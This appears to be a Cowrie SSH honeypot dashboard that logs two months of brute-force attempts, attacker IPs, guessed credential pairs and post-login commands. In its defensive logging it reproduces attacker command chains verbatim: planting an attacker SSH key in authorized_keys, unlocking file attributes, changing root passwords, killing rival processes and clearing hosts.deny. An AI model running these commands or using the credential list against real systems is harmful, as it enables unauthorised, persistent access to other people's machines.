🍯 HONEYPOT DASHBOARD

COWRIE SSH HONEYPOT // LIVE ATTACKER INTELLIGENCE // Generated: 2026-04-29 04:31:54 EDT
465
Sessions Today
474
Login Attempts Today
38
Successful Logins Today
52
Unique IPs Today
40
Commands Today

🌍 Attack Origins

πŸ† Top Attackers

AttackerOriginISPAttempts
specter_sol
31.145.191.148
πŸ‡ΉπŸ‡· Δ°zmit Vodafone Net Iletisim Hizmetler AS 30173
shadow_sol
5.54.77.87
πŸ‡¬πŸ‡· PΓ‘trai VF GR Fixed 26364
autobahn_sol
185.207.113.182
πŸ‡©πŸ‡ͺ Frankfurt am Main Zenlayer Inc 15679
gouda_sol
2.57.122.177
πŸ‡³πŸ‡± Amsterdam Unmanaged LTD 14404
silk_sol
8.138.226.108
πŸ‡¨πŸ‡³ Guangzhou Hangzhou Alibaba Advertising Co., Ltd. 13973
burger_sol
92.118.39.63
πŸ‡ΊπŸ‡Έ Dallas Unmanaged LTD 10647
phantom_sol
195.178.110.30
πŸ‡¦πŸ‡© Andorra la Vella Techoff SRV Limited 10170
jade_sol
61.138.113.187
πŸ‡¨πŸ‡³ Hohhot CNC Group CHINA169 Neimeng Province Network 6478
yankee_sol
92.118.39.87
πŸ‡ΊπŸ‡Έ Dallas Unmanaged LTD 5795
star_sol
92.118.39.62
πŸ‡ΊπŸ‡Έ Dallas Unmanaged LTD 5266

πŸ“‘ Recent Activity

2026-04-29 04:31:24 gouda_sol 2.57.122.177 Command: /bin/./uname -s -v -n -r -m
2026-04-29 04:31:24 gouda_sol ↑ βœ… LOGIN SUCCESS: solana/solana
04:29 – 04:30 phantom_root_51 41.33.91.226 2Γ— Login attempt: root/7070
04:29 – 04:29 crumpet_sol 2.57.121.112 5Γ— Login attempt: admin/24011970
04:26 – 04:28 phantom_root_51 41.33.91.226 3Γ— Login attempt: root/asdjkl123
04:26 – 04:26 scone_sol 2.57.121.25 5Γ— Login attempt: user/ololol
2026-04-29 04:25:45 gouda_sol 2.57.122.177 Login attempt: banx/banx
04:23 – 04:25 phantom_root_51 41.33.91.226 2Γ— Login attempt: root/Asdf@12345
04:23 – 04:23 stein_root 213.209.159.159 4Γ— Login attempt: yusuf/yusuf1
2026-04-29 04:23:44 gouda_sol 2.57.122.177 Login attempt: solana/solv
2026-04-29 04:23:43 stein_root 213.209.159.159 Login attempt: yusuf/yusuf
2026-04-29 04:23:35 specter_root_58 218.190.8.165 Login attempt: testuser/123456
04:22 – 04:22 phantom_root_51 41.33.91.226 2Γ— Login attempt: debian/admin123
2026-04-29 04:21:45 gouda_sol 2.57.122.177 Login attempt: sol/tech
2026-04-29 04:21:02 phantom_root_51 41.33.91.226 Login attempt: odoo/odoo1234
2026-04-29 04:20:23 cowboy_sol_2 142.248.80.104 Login attempt: NetLinx/openvpnas
2026-04-29 04:20:07 phantom_root_51 41.33.91.226 Login attempt: adminuser/adminuser
2026-04-29 04:19:49 gouda_sol 2.57.122.177 Login attempt: soltech/soltech
04:18 – 04:19 phantom_root_51 41.33.91.226 2Γ— Login attempt: root/toor1
2026-04-29 04:17:47 gouda_sol 2.57.122.177 Login attempt: ubuntu/1234qwer

🎬 Greatest Hits

πŸ‡³πŸ‡± gouda_sol
14404 attempts Β· 5449 sessions Β· 5449 cmds
Tried crypto wallet passwords and sequential strings before dumping system info β€” a Solana enthusiast who forgot to patch their root account.
⏰ 02-28 06:13 – 04-29 04:31
πŸ‡ΊπŸ‡Έ burger_sol
10647 attempts Β· 2730 sessions Β· 2730 cmds
Executed a full system census with /bin/./uname, cracked Solana wallets with weak sequential guesses, and logged in over a thousand times while ignoring the obvious security holes.
⏰ 02-28 08:44 – 04-28 21:21
πŸ‡¦πŸ‡© phantom_sol
10170 attempts Β· 3048 sessions Β· 3048 cmds
Cracked Solana wallets and chained sequential passwords while inventorying the kernel, proving crypto credentials are just another password list to brute force.
⏰ 02-28 04:07 – 04-29 01:15
πŸ‡ΊπŸ‡Έ yankee_sol
5795 attempts Β· 2150 sessions Β· 2150 cmds
Executed a full system census with uname and brute-forced Solana wallets with mapr and sol321 before abandoning the session after 6478 attempts.
⏰ 02-28 06:39 – 04-17 21:09
πŸ‡ΊπŸ‡Έ star_sol
5266 attempts Β· 1340 sessions Β· 1340 cmds
Six thousand attempts yielded Solana credentials and sequential passwords before the user finally /bin/./uname'd the system to confirm host details.
⏰ 02-28 03:32 – 04-17 14:50
πŸ‡¨πŸ‡³ jade_sol
6478 attempts Β· 4 sessions Β· 4 cmds
Executed uname -a after 6478 failed attempts and 4 logins using sequential passwords and leaked credentials before abandoning the system.
⏰ 03-01 08:57 – 03-17 00:55

πŸ”‘ Top Credentials

πŸ“ˆ Attack Timeline

πŸ“Š Daily Breakdown

DateSessionsLogin AttemptsSuccessfulUnique IPsCommandsTop Attacker
2026-04-29 465 474 38 52 40 gouda_sol (2.57.122.177)
2026-04-28 6014 5885 453 207 465 stroopwafel_sol (176.65.139.103)
2026-04-27 4331 4164 409 232 408 tulip_sol_6 (192.109.200.237)
2026-04-26 3982 3886 373 255 403 gouda_sol (2.57.122.177)
2026-04-25 3328 3140 295 187 322 clog_sol_4 (176.65.132.153)
2026-04-24 6111 5720 438 215 520 ghost_root_2 (171.243.228.160)
2026-04-23 3283 3137 417 179 459 gouda_sol (2.57.122.177)
2026-04-22 5891 5674 565 250 596 stroopwafel_sol_2 (176.65.139.95)
2026-04-21 3926 3682 390 182 514 tulip_sol_5 (45.156.87.99)
2026-04-20 1885 1800 312 148 280 gouda_sol (2.57.122.177)
2026-04-19 2719 2529 356 155 363 ghost_root_3 (101.36.107.152)
2026-04-18 25900 25705 378 222 590 shadow_sol (5.54.77.87)
2026-04-17 8177 8039 425 186 439 shadow_sol (5.54.77.87)
2026-04-16 3346 3182 520 176 659 gouda_sol (2.57.122.177)
2026-04-15 4363 3968 534 254 505 gouda_sol_3 (45.148.10.183)
2026-04-14 5645 5242 469 236 574 bike_sol (164.92.212.13)
2026-04-13 6274 6020 538 230 511 bike_sol (164.92.212.13)
2026-04-12 3764 3521 443 214 453 gouda_sol (2.57.122.177)
2026-04-11 3752 3433 537 171 519 gouda_sol_3 (45.148.10.183)
2026-04-10 4329 4032 647 179 654 tulip_sol_4 (176.65.139.101)
2026-04-09 4531 3662 511 218 688 dutch_root_2 (176.65.139.111)
2026-04-08 4670 4154 566 250 555 gouda_sol (2.57.122.177)
2026-04-07 3870 3687 595 207 648 gouda_sol (2.57.122.177)
2026-04-06 4208 3991 615 200 629 gouda_sol (2.57.122.177)
2026-04-05 3667 3601 517 177 524 gouda_sol (2.57.122.177)
2026-04-04 5210 4950 673 234 692 ghost_root_3 (101.36.107.152)
2026-04-03 4051 3754 490 180 474 burger_sol (92.118.39.63)
2026-04-02 3946 3647 455 238 447 gouda_sol (2.57.122.177)
2026-04-01 4666 4478 533 232 487 gouda_sol (2.57.122.177)
2026-03-31 4763 4514 526 259 515 phantom_sol (195.178.110.30)
2026-03-30 4477 4333 464 218 450 gouda_sol (2.57.122.177)
2026-03-29 6165 5845 545 265 542 gouda_sol (2.57.122.177)
2026-03-28 5890 5669 520 294 536 gouda_sol (2.57.122.177)
2026-03-27 3655 3300 502 241 485 gouda_sol (2.57.122.177)
2026-03-26 4199 3993 623 366 657 gouda_sol (2.57.122.177)
2026-03-25 3747 3490 564 328 611 gouda_sol (2.57.122.177)
2026-03-24 4185 3903 570 301 548 burger_sol (92.118.39.63)
2026-03-23 5138 6228 550 266 607 chateau_root (161.97.123.69)
2026-03-22 7426 8274 676 316 661 bike_sol_3 (172.233.53.115)
2026-03-21 6087 5718 694 314 715 burger_sol (92.118.39.63)
2026-03-20 39963 39771 696 272 797 specter_sol (31.145.191.148)
2026-03-19 13163 12759 458 249 454 specter_sol (31.145.191.148)
2026-03-18 4994 4571 598 271 773 maple_sol (143.110.211.250)
2026-03-17 3833 3523 527 288 707 gouda_sol (2.57.122.177)
2026-03-16 4748 4546 583 333 685 gouda_sol (2.57.122.177)
2026-03-15 6232 5979 624 466 1033 pretzel_sol (82.165.66.87)
2026-03-14 8796 305 46 315 103 pretzel_sol (82.165.66.87)
2026-03-13 7963 4 0 351 0 stroopwafel_root (45.148.10.121)
2026-03-12 8281 6 0 300 0 stroopwafel_root (45.148.10.121)
2026-03-11 7589 4 0 368 0 stroopwafel_root (45.148.10.121)
2026-03-10 9462 10 0 350 0 stroopwafel_root (45.148.10.121)
2026-03-09 8825 46 0 367 0 blitz_root (139.19.117.197)
2026-03-08 6388 45 0 314 0 blitz_root (139.19.117.197)
2026-03-07 6565 3182 363 373 450 jade_sol (61.138.113.187)
2026-03-06 6559 6100 705 411 873 eagle_sol (159.223.135.19)
2026-03-05 5607 5453 679 198 777 jade_sol (61.138.113.187)
2026-03-04 8255 8148 827 140 1225 jade_sol (61.138.113.187)
2026-03-03 5294 5258 733 125 1164 jade_sol (61.138.113.187)
2026-03-02 9332 9266 1008 187 2114 jade_sol (61.138.113.187)
2026-03-01 13336 13199 1052 201 2342 autobahn_sol (185.207.113.182)
2026-02-28 15824 15793 724 135 1433 autobahn_sol (185.207.113.182)

πŸ“Š All-Time Stats

MetricTotalAvg / DayLast 24hPeak Day
Sessions403,0456607.35,75139,963 (Mar 20)
Login Attempts332,3925449.05,67039,771 (Mar 20)
Successful Logins29,349481.14131,052 (Mar 1)
Unique IPs7,325120.1207466 (Mar 15)
Commands Executed35,675584.84302,342 (Mar 1)
Success Rate8.8%8.8%7.3%17.3% (Apr 20)
Days Active61

πŸ’€ Successful Logins β€” What They Did

🎭 gouda_sol (2.57.122.177) β€” Amsterdam, The Netherlands Β· 5449 sessions Β· 5449 cmds
2026-02-28 06:13 EST Β· as firedancer/firedancer, raydium/raydium, sol/123
Ran uname 3954x across 3954 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—5449
↳ obfuscated system check
🎭 jade_root_2 (111.26.6.111) β€” Jilin, China Β· 2 sessions Β· 2 cmds
2026-04-07 13:51 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m Γ—2
🎭 tulip_sol (80.94.92.183) β€” Amsterdam, The Netherlands Β· 1178 sessions Β· 1178 cmds
2026-02-28 03:53 EST Β· as sol/123, sol/sol, solana/solana
Ran uname 847x across 847 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—1178
↳ obfuscated system check
🎭 wraith_root_24 (42.1.120.37) β€” Da Nang, Vietnam Β· 1 session Β· 4 cmds
2026-04-29 01:24 EDT Β· as root/root
ip β†’ network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
🎭 strudel_pi (43.165.2.61) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-04-29 01:16 EDT Β· as guest/guest
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 hanbok_root_6 (112.219.151.50) β€” Yangsan, South Korea Β· 1 session Β· 2 cmds
2026-04-29 01:14 EDT Β· as oracle/welcome
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_sol (195.178.110.30) β€” Andorra la Vella, Andorra Β· 3048 sessions Β· 3048 cmds
2026-02-28 04:07 EST Β· as sol/sol, solana/sol, solana/solana
Ran uname 3707x across 3707 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—3048
↳ obfuscated system check
🎭 kimchi_root (58.229.141.26) β€” Hwaseong-si, South Korea Β· 1 session Β· 2 cmds
2026-04-29 01:02 EDT Β· as oracle/oralce
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 toucan_root (177.54.62.66) β€” CriciΓΊma, Brazil Β· 1 session Β· 2 cmds
2026-04-29 00:52 EDT Β· as oracle/oralce
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_21 (154.221.23.179) β€” Chai Wan, Hong Kong Β· 1 session Β· 2 cmds
2026-04-29 00:36 EDT Β· as oracle/abc123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 dutch_root_7 (31.56.209.39) β€” Eygelshoven, The Netherlands Β· 34 sessions Β· 102 cmds
2026-04-17 14:00 EDT Β· as admin/admin
echo β†’ cat β†’ ?
$ echo "cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps" | sh Γ—34
$ cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps Γ—34
$ Γ—34
🎭 jade_root_3 (221.15.194.222) β€” Zhengzhou, China Β· 1 session Β· 1 cmd
2026-04-28 23:20 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 clog_sol_2 (45.153.34.114) β€” Eygelshoven, Netherlands Β· 35 sessions Β· 35 cmds
2026-04-28 22:39 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 stroopwafel_sol_3 (45.153.34.71) β€” Eygelshoven, Netherlands Β· 35 sessions Β· 35 cmds
2026-04-28 22:01 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 sensei (43.153.147.41) β€” Tokyo, Japan Β· 1 session Β· 1 cmd
2026-04-28 21:51 EDT Β· as test/test
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 gouda_sol_4 (2.57.122.238) β€” Amsterdam, The Netherlands Β· 396 sessions Β· 396 cmds
2026-03-02 02:53 EST Β· as sol/123, sol/12345678, sol/sol
Ran uname 279x across 279 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—396
↳ obfuscated system check
🎭 bike_sol_4 (80.94.92.168) β€” Amsterdam, The Netherlands Β· 92 sessions Β· 92 cmds
2026-02-28 12:34 EST Β· as solana/solana
Ran uname 76x across 76 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—92
↳ obfuscated system check
🎭 phantom_root_20 (43.156.203.174) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-28 21:17 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 shadow_root_22 (43.134.94.132) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-28 21:14 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 yankee_root_11 (64.50.188.92) β€” Chicago, United States Β· 4 sessions Β· 4 cmds
2026-04-15 16:10 EDT Β· as admin/123456, pi/raspberry, postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—4
↳ OS/kernel identification
🎭 burger_sol (92.118.39.63) β€” Dallas, United States Β· 2730 sessions Β· 2730 cmds
2026-02-28 08:44 EST Β· as sol/123, sol/12345678, sol/sol
Ran uname 960x across 960 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—2730
↳ obfuscated system check
🎭 tiger_root_3 (182.79.216.98) β€” New Delhi, India Β· 2 sessions Β· 4 cmds
2026-04-28 20:35 EDT Β· as oracle/123123, oracle/oracle!@#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 shadow_root_23 (47.82.102.241) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-28 19:37 EDT Β· as postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 stroopwafel_sol (176.65.139.103) β€” Eygelshoven, The Netherlands Β· 105 sessions Β· 105 cmds
2026-04-18 08:55 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—105
🎭 shadow_root_24 (212.154.234.9) β€” Almaty, Kazakhstan Β· 1 session Β· 20 cmds
2026-04-28 15:13 EDT Β· as admin/asdf1234
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "asdf1234\nRQsPelbPbRRw\nRQsPelbPbRRw"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\nRQsPelbPbRRw\nRQsPelbPbRRw\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 monsoon_root (20.244.18.126) β€” Pune, India Β· 1 session Β· 2 cmds
2026-04-28 15:07 EDT Β· as oracle/Oracle2022
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 liberty_root_5 (199.231.163.19) β€” Dallas, United States Β· 3 sessions Β· 24 cmds
2026-03-18 15:54 EDT Β· as oracle/Oracle2022, oracle/oracle@, ubuntu/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\nQe5leTlTI5hN\nQe5leTlTI5hN"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nQe5leTlTI5hN\nQe5leTlTI5hN\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 yankee_sol_6 (50.6.227.30) β€” Ashburn, United States Β· 2 sessions Β· 2 cmds
2026-04-17 05:02 EDT Β· as deploy/deploy, oracle/Aa123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 monsoon_root_2 (159.65.144.195) β€” Bengaluru, India Β· 1 session Β· 1 cmd
2026-04-28 13:25 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 dragon_root (123.207.0.73) β€” Guangzhou, China Β· 1 session Β· 1 cmd
2026-04-28 12:06 EDT Β· as pi/pi
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 shadow_sol_3 (37.111.53.110) β€” Yangon, Myanmar Β· 25 sessions Β· 25 cmds
2026-04-26 14:35 EDT Β· as oracle/!QAZ2wsx, oracle/!QAZ2wsx#EDC4rfv, oracle/0racle
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—25
↳ OS/kernel identification
🎭 wok_db (47.115.229.129) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-28 05:03 EDT Β· as mysql/mysql
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_37 (45.134.9.27) β€” Mexico City, Mexico Β· 1 session Β· 19 cmds
2026-04-28 05:01 EDT Β· as root/P@ssw0rd1!
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:MMpLZOpMEpNd"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 bike_root (5.255.114.165) β€” Dronten, Netherlands Β· 43 sessions Β· 43 cmds
2026-04-23 09:50 EDT Β· as admin/123456, admin/admin, admin/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—43
